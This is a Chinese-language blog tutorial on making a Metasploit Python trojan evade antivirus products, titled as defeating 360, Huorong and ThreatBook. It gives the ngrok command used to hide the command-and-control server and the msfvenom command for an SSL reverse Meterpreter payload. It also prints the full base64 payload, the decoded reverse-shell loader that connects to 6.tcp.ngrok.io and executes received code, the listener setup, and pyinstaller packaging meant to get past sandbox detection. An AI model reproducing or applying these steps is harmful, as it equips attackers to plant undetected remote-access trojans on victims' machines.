【木马免杀思路】msf木马免杀 python转exe(一) 截止2021年8月8日通杀360,火绒,微步
本文讲述如何免杀msf木马并成功上线,主要内容包括隐藏c2、过静态查杀、过行为查杀
0x00. 隐藏c2
为了隐藏c2,我们这里使用了ngrok的内网穿透,获得了一个ngrok提供的域名(ngrok可在官网下载:https://ngrok.com/):
执行以下命令,将本地4455端口映射到公网的端口:
./ngrok tcp 4455
这样我们就获得了 6.tcp.ngrok.io这个域名,以及18260这个端口
0x01. 过行为查杀
使用msfvenom命令生成python木马(为了绕过流量检测,使用了reverse_tcp_ssl加密流量)
msfvenom -p python/meterpreter/reverse_tcp_ssl LHOST=6.tcp.ngrok.io LPORT=18260 -f raw -o payload.py --platform python -a python
生成的payload.py的内容如下:
exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHpsaWIsYmFzZTY0LHNzbCxzb2NrZXQsc3RydWN0LHRpbWUKZm9yIHggaW4gcmFuZ2UoMTApOgoJdHJ5OgoJCXNvPXNvY2tldC5zb2NrZXQoMiwxKQoJCXNvLmNvbm5lY3QoKCc2LnRjcC5uZ3Jvay5pbycsMTgyNjApKQoJCXM9c3NsLndyYXBfc29ja2V0KHNvKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKHpsaWIuZGVjb21wcmVzcyhiYXNlNjQuYjY0ZGVjb2RlKGQpKSx7J3MnOnN9KQo=')[0]))
将其中的base64编码后的字符串进行解码,得到如下内容,并保存为msf.py:
1 import zlib,base64,ssl,socket,struct,time 2 for x in range(10): 3 try: 4 so=socket.socket(2,1) 5 so.connect(('6.tcp.ngrok.io',18260)) 6 s=ssl.wrap_socket(so) 7 break 8 except: 9 time.sleep(5) 10 l=struct.unpack('>I',s.recv(4))[0] 11 d=s.recv(l) 12 while len(d)<l: 13 d+=s.recv(l-len(d)) 14 exec(zlib.decompress(base64.b64decode(d)),{'s':s})
此时,msfconsole中开启监听(由于使用了内网穿透,所以这里的lhost是127.0.0.1):
1 use exploit/multi/handler 2 set payload python/meterpreter/reverse_tcp_ssl 3 set lhost 127.0.0.1 4 set lport 4455 5 exloit
此时,运行msf.py,msf可成功上线:
0x02、过静态查杀
把msf.py直接上传到微步在线
被微步认为是恶意的原因:命中了威胁情报IOC
其实最简单的处理办法就是把ip改成自己vps的ip,但是这么一来,就无法做到隐藏c2的目的了
我们来分析一下,为什么会被情报判定系统命中呢:
- 1. 明文上传python文件,可以直接通过代码获取ngrok的域名
- 2. 微步在沙箱中运行了该python文件,检测了外连ip
那么如何解决呢?
- 1. 加密,或上传二进制文件
- 2. 让微步的沙箱无法运行我们上传的文件
1. 加密,或上传二进制文件
使用pyinstaller把python文件转成exe的二进制文件
安装pyinstaller:
pip install pyinstaller
编译msf.py(使用-F参数只生成一个文件):
pyinstaller -F msf.py
执行完毕后,会在dist目录下生成msf.exe(在MacOS下生成的是msf)
然后执行msf.exe
如果报错,no moudel named 'imp',需要在msf.py的import语句里再导入imp模块
检出率 2/25,被判定为安全
微步的沙箱为windows7系统,由于缺少某些必要的dll文件,导致无法运行此exe文件,因此无法命中ngrok域名 IOC情报
上线:
----------------------------------------
如果上传微步时选的win10环境,会被查杀,等我下次再想办法绕过一下,现在去吃饭了